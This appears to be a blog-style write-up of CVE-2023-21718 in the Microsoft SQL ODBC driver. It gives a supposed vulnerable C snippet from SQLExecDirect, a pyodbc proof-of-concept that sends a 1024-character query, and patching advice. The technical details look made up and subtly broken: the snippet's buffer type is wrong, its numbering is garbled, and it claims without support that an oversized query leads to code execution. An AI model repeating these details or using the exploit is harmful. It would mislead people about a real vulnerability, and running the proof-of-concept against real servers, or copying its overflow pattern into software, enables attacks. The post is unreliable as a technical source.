CVE-2023-21718 is a critical vulnerability discovered in the Microsoft SQL ODBC (Open Database Connectivity) Driver, which could potentially allow attackers to execute arbitrary code remotely on targeted systems. This vulnerability affects various versions of the widely-used Microsoft SQL Server and could lead to severe data breaches and unauthorized access to sensitive information.

In this long-read post, we will dive deep into the technical aspects of this vulnerability, including its origin, mechanisms, and impact. We will also explore how to exploit the vulnerability, along with its proof-of-concept code snippet. Finally, we will provide guidance on how to protect your systems against this security threat and links to relevant resources for further reading.

Exploit Details

The Microsoft SQL ODBC Driver is a powerful tool used by many applications to connect to Microsoft SQL Server instances. This driver enables seamless communication between applications and SQL Server databases, allowing users to retrieve, store, and manipulate data in a unified manner.

Unfortunately, the vulnerability (CVE-2023-21718) presents a critical weakness in the driver that lets an attacker remotely execute arbitrary code with elevated privileges. This issue arises from the improper handling of specially crafted SQL queries, which could lead to a buffer overflow and subsequent code execution.

In particular, the vulnerability lies in the SQLExecDirect function within the driver. When it processes a malicious SQL query, the buffer can overflow and cause the program to crash or execute code provided by the attacker.

Here is a simplified version of the vulnerable code snippet

// Vulnerable Code Snippet
SQLRETURN SQLExecDirect(
  SQLHSTMT     StatementHandle,
  SQLCHAR *    StatementText,
  SQLINTEGER   TextLength
) {
  char * queryBuffer[256]; // [1]

  // ...

  strncpy(queryBuffer, (char *)StatementText, TextLength); // [2]

  // Execute query
}

A fixed-size buffer (queryBuffer) is declared to store the SQL query.

2. The strncpy function is used to copy the SQL query from the user to the queryBuffer. However, it does not check if the query length (TextLength) exceeds the size of the queryBuffer, leading to a buffer overflow.

Exploit Proof-of-Concept

To exploit this vulnerability, an attacker could craft a malicious SQL query that would overflow the buffer and inject malicious code. Here's an example of a proof-of-concept exploit:

# Proof-of-Concept Exploit
import pyodbc

MALICIOUS_QUERY = "A" * 1024  # This query overflows the buffer

# Connect to the vulnerable SQL Server instance
connection = pyodbc.connect("DRIVER={ODBC Driver 17 for SQL Server};"
                            "SERVER=YOUR_SERVER_IP;"
                            "DATABASE=YOUR_DATABASE_NAME;"
                            "UID=YOUR_USERNAME;"
                            "PWD=YOUR_PASSWORD;")

cursor = connection.cursor()

# Send malicious query to exploit the vulnerability
cursor.execute(MALICIOUS_QUERY)

This proof-of-concept sends a query comprised of a long string of 'A' characters, which overflows the fixed-size buffer and could lead the attacker to execute arbitrary code (e.g., injecting a shellcode).

To safeguard your systems from this vulnerability, you should

1. Apply the appropriate patches provided by Microsoft as soon as possible. Microsoft has released security updates addressing this vulnerability. Find the updates for your specific SQL Server version here: Microsoft Security Update Guide

Enable network-level authentication and limit remote connections to only trusted sources.

3. Monitor your systems for any signs of suspicious activity, such as unauthorized access or data breaches.

4. Educate your team on this vulnerability and the importance of following security best practices when dealing with data and connections to external systems.

Conclusion

CVE-2023-21718 is a severe vulnerability affecting the Microsoft SQL ODBC Driver. Understanding the exploit and its mechanics is essential for businesses and individuals using Microsoft SQL Server. Be proactive in mitigating this vulnerability by applying security patches, enabling authentication, and monitoring your systems for signs of compromise.

- CVE-2023-21718 - NIST National Vulnerability Database
- Microsoft Security Response Center
- Exploit-DB - CVE-2023-21718

Timeline

Published on: 02/14/2023 20:15:00 UTC
Last modified on: 02/23/2023 16:00:00 UTC